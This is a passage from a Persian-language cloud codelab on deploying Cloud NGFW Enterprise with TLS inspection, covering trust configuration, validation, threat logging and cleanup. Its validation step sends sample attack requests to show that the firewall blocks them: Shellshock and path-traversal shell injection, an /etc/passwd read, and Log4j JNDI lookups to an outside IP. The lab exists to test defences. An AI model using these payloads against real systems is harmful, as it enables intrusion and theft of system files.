- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
دستورات بالا گواهی Root CA شما را به عنوان بخشی از حافظه اعتماد در نظر گرفتهاند، زیرا گواهی سرور شما با استفاده از Root CA امضا شده است. این بدان معناست که فایروال به هر گواهی دریافتی که توسط Root CA شما امضا شده باشد، علاوه بر Public CAها، در صورتی که سیاست TLS شما excludePublicCaSet را روی false تنظیم کرده باشد، اعتماد خواهد کرد.
محتویات پیکربندی اعتماد را بررسی کنید.
cat trust_config.yaml
خروجی نمونه:
به ترازبندی تورفتگی گواهی توجه ویژه داشته باشید. باید دقیقاً از این قالب پیروی کند.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
پیکربندی اعتماد را وارد کنید:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
فایل YAML مربوط به TLS Policy را بهروزرسانی کنید تا پیکربندی اعتماد را شامل شود:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
خطمشی TLS بهروزرسانیشده را وارد کنید:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
۱۲. اعتبارسنجی بازرسی TLS الکترونیکی/آبی
برای آزمایش ترافیک E/W با پیکربندی اعتماد بهروزرسانیشده، از طریق SSH به کلاینت متصل شوید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
درخواست TLS نمونه را به سرور اجرا کنید:
curl https://$target_privateip --max-time 2
اگر هنوز خروجی زیر را دریافت میکنید، لطفاً منتظر انتشار بهروزرسانیها باشید.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
خروجی مورد انتظار:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
ارسال ترافیک آزمایشی مخرب به سرور:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
خروجی مورد انتظار:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
هیچ پاسخی مطابق با خروجی مورد انتظار زیر دریافت نمیشود، که تأیید میکند حملات نمونه اکنون برای E/W مسدود شدهاند.
۱۳. ثبت وقایع
از طریق کنسول ابری به Logging > Logs Explorer بروید، فیلتر زیر را وارد کنید و گزارشها را جستجو کنید. [PROJECT_ID] را با project_id خود جایگزین کنید:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
ورودیهای لاگ Cloud NGFW Enterprise باید مشابه زیر دیده شوند:

ورودیهای گزارش را باز کنید و توجه داشته باشید که حملات ارسال شده از ماشین مجازی کلاینت به سرور شناسایی و مسدود شدهاند ( آسیبپذیری اجرای کد از راه دور Apache Log4j مطابق تصویر زیر).

شما با موفقیت Cloud NGFW Enterprise را به همراه TLS Inspection برای مسدود کردن درخواستهای مخرب مستقر کردهاید.
برای مراحل پاکسازی به بخش بعدی بروید.
۱۴. مراحل پاکسازی
تمیز کردن تنظیمات پایه
موارد را حذف کنید:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
اگر نقشهای tagAdmin و tagUsers تغییر کردهاند، مراحل زیر را انجام دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
کلید و مقادیر Tag را حذف کنید:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
خطمشی شبکه و ارتباط فایروال ابری را حذف کنید:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
روتر ابری و NAT ابری را حذف کنید:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
حذف آدرسهای IP رزرو شده:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
پاکسازی SPG، Association و TLS در فایروال ابری
گروه پروفایل امنیتی (Security Profile Group) و پروفایل تهدید (Threat Profile) را به ترتیب زیر حذف کنید:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
ارتباط نقطه پایانی Cloud Firewall را حذف کنید:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
حذف نقطه پایانی فایروال ابری، که میتواند حدود ۲۰ دقیقه طول بکشد:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
در صورت تمایل، با اجرای دستور زیر تأیید کنید که نقطه پایانی Cloud NGFW حذف شده است:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
وضعیت نقطه پایانی باید نشان دهد:
STATE: DELETING
پس از تکمیل، نقطه پایانی دیگر فهرست نخواهد شد.
خطمشی TLS و پیکربندی اعتماد را به این ترتیب حذف کنید:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
غیرفعال کردن و حذف Root CA و CA Pool:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
پاکسازی زیرشبکه و VPC
در نهایت، زیرشبکه و شبکه VPC را حذف کنید:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
۱۵. تبریک میگویم!
تبریک میگوییم، شما با موفقیت پروژه Cloud NGFW Enterprise را برای آزمایشگاه کد بازرسی TLS در شرق-غرب و شمال به پایان رساندید.